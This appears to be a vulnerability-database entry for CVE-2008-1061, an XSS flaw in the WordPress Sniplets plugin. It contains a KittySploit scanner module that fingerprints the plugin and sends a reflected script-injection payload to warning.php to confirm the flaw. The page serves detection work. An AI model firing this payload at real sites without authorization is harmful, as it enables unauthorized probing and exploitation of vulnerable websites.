WordPress Sniplets <=1.2.2 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2008-1061 | 28 Feb 200819:00 | – | cve | |
| CVE-2008-1061 | 28 Feb 200819:00 | – | cvelist | |
| WordPress Plugin Sniplets 1.1.2 - Remote File Inclusion / Cross-Site Scripting / Remote Code Execution | 26 Feb 200800:00 | – | exploitdb | |
| EUVD-2008-1072 | 7 Oct 202500:30 | – | euvd | |
| WordPress Sniplets <=1.2.2 - Cross-Site Scripting | 15 Oct 202602:05 | – | nuclei | |
| CVE-2008-1061 | 28 Feb 200819:44 | – | nvd | |
| WordPress Sniplets Plugin <= 1.2.2 - Multiple XSS vulnerabilities | 28 Feb 200800:00 | – | patchstack | |
| Cross site scripting | 28 Feb 200819:44 | – | prion | |
| CVE-2008-1061: Improper Neutralization of Input During Web Page Generation | 28 Feb 200800:00 | – | rapid7 | |
| Sniplets 1.1.2 - (RFI/XSS/RCE) Multiple Vulnerabilities | 1 Aug 201400:00 | – | wpvulndb |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Sniplets 1."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress Sniplets <=1.2.2 - Cross-Site Scripting Detection',
'description': 'WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve2008', 'cve', 'xss', 'wp-plugin', 'wp', 'edb', 'wpscan', 'wordpress', 'sniplets', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://www.exploit-db.com/exploits/5194',
'https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881',
'https://nvd.nist.gov/vuln/detail/CVE-2008-1061',
'http://securityreason.com/securityalert/3706',
'https://exchange.xforce.ibmcloud.com/vulnerabilities/40830',
],
'cve': 'CVE-2008-1061',
}
def run(self):
path = '/wp-content/plugins/sniplets/readme.txt'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('Code Snippets',)
if not (any(m in body for m in body_any)):
return False
path = '/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('</script><script>alert(document.domain)</script>',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(severity='medium', reason='WordPress Sniplets <=1.2.2 - Cross-Site Scripting detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.074